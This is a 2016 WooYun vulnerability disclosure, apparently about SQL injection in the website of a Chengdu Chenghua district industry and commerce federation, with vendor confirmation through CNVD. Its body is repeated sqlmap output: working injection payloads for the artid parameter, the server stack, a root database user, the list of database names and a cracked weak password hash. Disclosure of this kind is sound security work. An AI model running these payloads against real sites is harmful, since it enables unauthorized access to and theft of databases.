当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169516

漏洞标题:成都市成华区工商业联合会某处存在SQL注入

相关厂商:成都市成华区工商业联合会

漏洞作者: CSXleakbrain

提交时间:2016-01-13 16:51

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

sqlmap进行注入

详细说明:

url:http://**.**.**.**/Articles_shows.php?artid=1371


[00:34:50] [INFO] resuming back-end DBMS 'mysql' 
[00:34:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artid=1371 AND 1089=1089
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: artid=1371 AND (SELECT * FROM (SELECT(SLEEP(5)))osTJ)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: artid=-4205 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a717071,0x4271595879697a656c6478717a4878526d5a706676517a4d6d76734a71664b79536a655a4b534b72,0x717a717071),NULL,NULL,NULL,NULL-- -
---
[00:34:51] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.12
[00:34:51] [INFO] fetching current user
current user: 'root@localhost'
[00:34:51] [INFO] fetching current database
current database: 'cd2011chqgslhm'
[00:34:51] [INFO] fetching database names
[00:34:51] [INFO] the SQL query used returns 12 entries
[00:34:51] [INFO] resumed: information_schema
[00:34:51] [INFO] resumed: 962009dy@cdqydj
[00:34:51] [INFO] resumed: cd2011chqgslhm
[00:34:51] [INFO] resumed: cdsqyqxfj2012
[00:34:51] [INFO] resumed: cdtlz@com2012
[00:34:51] [INFO] resumed: cdtlz_articlescms
[00:34:51] [INFO] resumed: keesoft_datask2010
[00:34:51] [INFO] resumed: lqpop2011
[00:34:51] [INFO] resumed: mysql
[00:34:51] [INFO] resumed: phpmyadmin
[00:34:51] [INFO] resumed: sq_fimiticoffice
[00:34:51] [INFO] resumed: test
available databases [12]:
[*] 962009dy@cdqydj
[*] cd2011chqgslhm
[*] cdsqyqxfj2012
[*] cdtlz@com2012
[*] cdtlz_articlescms
[*] information_schema
[*] keesoft_datask2010
[*] lqpop2011
[*] mysql
[*] phpmyadmin
[*] sq_fimiticoffice
[*] test


内容似乎很乱
甚至还留下了一个test
开发商也是有意思

漏洞证明:

url:http://**.**.**.**/Articles_shows.php?artid=1371


[00:34:50] [INFO] resuming back-end DBMS 'mysql' 
[00:34:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artid=1371 AND 1089=1089
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: artid=1371 AND (SELECT * FROM (SELECT(SLEEP(5)))osTJ)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: artid=-4205 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a717071,0x4271595879697a656c6478717a4878526d5a706676517a4d6d76734a71664b79536a655a4b534b72,0x717a717071),NULL,NULL,NULL,NULL-- -
---
[00:34:51] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.12
[00:34:51] [INFO] fetching current user
current user: 'root@localhost'
[00:34:51] [INFO] fetching current database
current database: 'cd2011chqgslhm'
[00:34:51] [INFO] fetching database names
[00:34:51] [INFO] the SQL query used returns 12 entries
[00:34:51] [INFO] resumed: information_schema
[00:34:51] [INFO] resumed: 962009dy@cdqydj
[00:34:51] [INFO] resumed: cd2011chqgslhm
[00:34:51] [INFO] resumed: cdsqyqxfj2012
[00:34:51] [INFO] resumed: cdtlz@com2012
[00:34:51] [INFO] resumed: cdtlz_articlescms
[00:34:51] [INFO] resumed: keesoft_datask2010
[00:34:51] [INFO] resumed: lqpop2011
[00:34:51] [INFO] resumed: mysql
[00:34:51] [INFO] resumed: phpmyadmin
[00:34:51] [INFO] resumed: sq_fimiticoffice
[00:34:51] [INFO] resumed: test
available databases [12]:
[*] 962009dy@cdqydj
[*] cd2011chqgslhm
[*] cdsqyqxfj2012
[*] cdtlz@com2012
[*] cdtlz_articlescms
[*] information_schema
[*] keesoft_datask2010
[*] lqpop2011
[*] mysql
[*] phpmyadmin
[*] sq_fimiticoffice
[*] test


内容似乎很乱
甚至还留下了一个test
开发商也是有意思
扫描出包括一个弱口令的hash e10adc3949ba59abbe56e057f20f883e(123456)
没有深入挖,水表已拆

修复方案:

你懂的

版权声明:转载请注明来源 CSXleakbrain@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-15 15:37

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给四川分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价